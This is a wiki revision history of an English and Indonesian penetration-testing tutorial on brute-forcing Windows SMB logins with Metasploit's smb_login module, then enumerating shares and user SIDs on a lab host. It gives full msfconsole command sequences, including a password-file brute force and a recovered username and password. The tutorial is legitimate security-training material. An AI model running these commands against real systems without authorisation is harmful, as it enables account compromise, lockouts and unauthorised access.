Metasplot: SMB exploit - Revision history

Onnowpurbo at 04:12, 3 May 2017

2017-05-03T04:12:22Z

← Older revision		Revision as of 04:12, 3 May 2017
Line 1:		Line 1:
	Langkah pertama nmap scan untuk mengetahui OS yang digunakan, misalnya ke IP 192.168.31.2		Langkah pertama nmap scan untuk mengetahui OS yang digunakan, misalnya ke IP 192.168.0.100

	#nmap -sS -A -O 192.168.0.100		#nmap -sS -A -O 192.168.0.100

Onnowpurbo at 04:11, 3 May 2017

2017-05-03T04:11:55Z

Onnowpurbo at 20:40, 15 February 2017

2017-02-15T20:40:19Z

@@ Line 1: / Line 1: @@
-An attacker will take the path of least resistance in order to gain access to critical systems and data. During a penetration test we’ll take the same tactic as well.
+Langkah pertama nmap scan untuk mengetahui OS yang digunakan, misalnya ke IP 192.168.31.2
-Frequently this is accomplished by guessing a password to a users account and then either using the privileges of that account to gain access to critical data or escalating that account to an administrator or root level account. Once credentials have been acquired for one host you’ll want to determine what other systems they work against. It is fairly common to gain access to a local administrator account on a workstation or server.
+yang penting untuk diperoleh dari mesin target adalah adanya, smb dan user level authentication. Artinya kita bisa authentikasi smb menggunakan username dan password.
   #msfconsole
@@ Line 33: / Line 17: @@
   #msf auxiliary(smb_login) > run
+Contoh di atas SMBUser adalah sathish karena, nama mesin target adalah sathish-PC sementara password di brute-force dari password file yang ada di home directory. Hati-hati, ini akan tampak sebagai failed login attempt di event log di mesin windows. Jadi hati2 dalam melakukan hal ini.
   #msf > use auxiliary/scanner/smb/smb_enumshares
@@ Line 60: / Line 29: @@
   #msf auxiliary(smb_enumshares) > run
+Ini akan memberikan daftar SMB share di mesin target, kita peroleh detail dari SID dari user dan groups. Modul smb_lookupsid akan brute-force SID lookup pada mesin sasaran.
   #msf > use auxiliary/scanner/smb/smb_lookupsid
@@ Line 73: / Line 38: @@
   #msf auxiliary(smb_lookupsid) > run
-It will list the users and groups on the target machine with SID numbers, its help us to think more about the target system and from known user credential we going to mount the windows share on our attacking computer.
+Ini akan me-list user dan group pada mesin target dengan nomor SID, ini akan menolong yang kita untuk berpikir lebih tentang sistem target dan dari credential pengguna tahu kita akan me-mount Windows share pada komputer penyerang yang kita operasikan.
 ==Referensi==
 * https://sathisharthars.com/2014/06/25/brute-force-smb-shares-in-windows-7-using-metasploit/

Onnowpurbo: Created page with "An attacker will take the path of least resistance in order to gain access to critical systems and data. During a penetration test we’ll take the same tactic as well. Freq..."

2017-02-15T13:56:57Z

Created page with "An attacker will take the path of least resistance in order to gain access to critical systems and data. During a penetration test we’ll take the same tactic as well. Freq..."

New page

An attacker will take the path of least resistance in order to gain access to critical systems and data. During a penetration test we’ll take the same tactic as well.

Frequently this is accomplished by guessing a password to a users account and then either using the privileges of that account to gain access to critical data or escalating that account to an administrator or root level account. Once credentials have been acquired for one host you’ll want to determine what other systems they work against. It is fairly common to gain access to a local administrator account on a workstation or server.

There are a number of ways to accomplish this task but one of the most efficient ways is using the smb_login module of Metasploit Framework for to test a single username/password combination against a lot of boxes very quickly.

This is where the SMB Login Check Scanner can be very useful, as it will connect to a range of hosts and determine if the username/password combination can access the target.

So today’s tutorial we going to brute-force login attempt to the windows shares to get samba credentials by using tools in Kali linux.

First we move to nmap scan to scan the target operating system for SAMBA (smb) enumeration. So my target ip is 192.168.31.2 and i am going to fingerprinting the OS with -A option to enable OS and version detection, script scanning, and traceroute.

Nmap results shows that the target machine had smb with user level authentication. its clearly show we can authenticate smb with username and password.

Next we going to use metasploit framework to brute-login against the smb of target machine. so we going to use smb_login module in msfconsole.

Metasploit’s smb_login module will attempt to login via SMB across a provided range of IP addresses.

#msfconsole

#msf > use auxiliary/scanner/smb/smb_login
#msf auxiliary(smb_login) > show options
#msf auxiliary(smb_login) > set RHOSTS 192.168.31.2
#msf auxiliary(smb_login) > set SMBUser sathish
#msf auxiliary(smb_login) > set PASS_FILE ‘/home/sathish/password’
#msf auxiliary(smb_login) > set THREADS 10
#msf auxiliary(smb_login) > run

Above I used SMBUser has sathish because, My target machines computer name is sathish-PC so there is more chance of having an account with name the sathish and the password is brute-forced using a password file containing word lists in my home directory.

Keep in mind, this is very “loud” as it will show up as a failed login attempt in the event logs of Windows box it touches. Be thoughtful on the network you are taking this action on.

After getting successful brute-force login, we need to enumerates for SMB shares on the target machine with the known set of user credential.

The smb_enumshares module, as would be expected, enumerates any SMB shares that are available on a remote system.

#msf > use auxiliary/scanner/smb/smb_enumshares
#msf auxiliary(smb_enumshares) > show options
#msf auxiliary(smb_enumshares) > set RHOSTS 192.168.31.2
#msf auxiliary(smb_enumshares) > set SMBUser sathish
#msf auxiliary(smb_enumshares) > set SMBPass bhuvi
#msf auxiliary(smb_enumshares) > set THREADS 10
#msf auxiliary(smb_enumshares) > run

It will list the SMB share on the target machine and now we need more details about the target for the SID of users and groups.

The smb_lookupsid module brute-forces SID lookups on a range of targets to determine what local users exist the system. Knowing what users exist on a system can help to login.

#msf > use auxiliary/scanner/smb/smb_lookupsid
#msf auxiliary(smb_lookupsid) > show options
#msf auxiliary(smb_lookupsid) > set RHOSTS 192.168.31.2
#msf auxiliary(smb_lookupsid) > set SMBPass bhuvi
#msf auxiliary(smb_lookupsid) > set SMBUser sathish
#msf auxiliary(smb_lookupsid) > run

It will list the users and groups on the target machine with SID numbers, its help us to think more about the target system and from known user credential we going to mount the windows share on our attacking computer.

A brute force attack or an aggressive password guessing attack is very noisy and will likely lock out user accounts depending on how the group policies for that domain have been configured.

So brute forcing windows accounts isn’t generally a very good idea due to lockout settings and the possibility of creating a Denial of Service condition. Most windows networks have group policies that enforce a lockout of X minutes after Y failed attempts. As such, brute force attacks are pretty much too risky.

==Referensi==

* https://sathisharthars.com/2014/06/25/brute-force-smb-shares-in-windows-7-using-metasploit/

← Older revision		Revision as of 04:11, 3 May 2017
Line 1:		Line 1:
	Langkah pertama nmap scan untuk mengetahui OS yang digunakan, misalnya ke IP 192.168.31.2		Langkah pertama nmap scan untuk mengetahui OS yang digunakan, misalnya ke IP 192.168.31.2

	#nmap -sS -A -O 192.168.31.2		#nmap -sS -A -O 192.168.0.100

	yang penting untuk diperoleh dari mesin target adalah adanya, smb dan user level authentication. Artinya kita bisa authentikasi smb menggunakan username dan password.		yang penting untuk diperoleh dari mesin target adalah adanya, smb dan user level authentication. Artinya kita bisa authentikasi smb menggunakan username dan password.
Line 11:		Line 11:
	#msf > use auxiliary/scanner/smb/smb_login		#msf > use auxiliary/scanner/smb/smb_login
	#msf auxiliary(smb_login) > show options		#msf auxiliary(smb_login) > show options
	#msf auxiliary(smb_login) > set RHOSTS 192.168.31.2		#msf auxiliary(smb_login) > set RHOSTS 192.168.0.100
	#msf auxiliary(smb_login) > set SMBUser sathish		#msf auxiliary(smb_login) > set SMBUser sathish
	#msf auxiliary(smb_login) > set PASS_FILE ‘/home/sathish/password’		#msf auxiliary(smb_login) > set PASS_FILE ‘/home/sathish/password’
Line 23:		Line 23:
	#msf > use auxiliary/scanner/smb/smb_enumshares		#msf > use auxiliary/scanner/smb/smb_enumshares
	#msf auxiliary(smb_enumshares) > show options		#msf auxiliary(smb_enumshares) > show options
	#msf auxiliary(smb_enumshares) > set RHOSTS 192.168.31.2		#msf auxiliary(smb_enumshares) > set RHOSTS 192.168.0.100
	#msf auxiliary(smb_enumshares) > set SMBUser sathish		#msf auxiliary(smb_enumshares) > set SMBUser sathish
	#msf auxiliary(smb_enumshares) > set SMBPass bhuvi		#msf auxiliary(smb_enumshares) > set SMBPass bhuvi
Line 33:		Line 33:
	#msf > use auxiliary/scanner/smb/smb_lookupsid		#msf > use auxiliary/scanner/smb/smb_lookupsid
	#msf auxiliary(smb_lookupsid) > show options		#msf auxiliary(smb_lookupsid) > show options
	#msf auxiliary(smb_lookupsid) > set RHOSTS 192.168.31.2		#msf auxiliary(smb_lookupsid) > set RHOSTS 192.168.0.100
	#msf auxiliary(smb_lookupsid) > set SMBPass bhuvi		#msf auxiliary(smb_lookupsid) > set SMBPass bhuvi
	#msf auxiliary(smb_lookupsid) > set SMBUser sathish		#msf auxiliary(smb_lookupsid) > set SMBUser sathish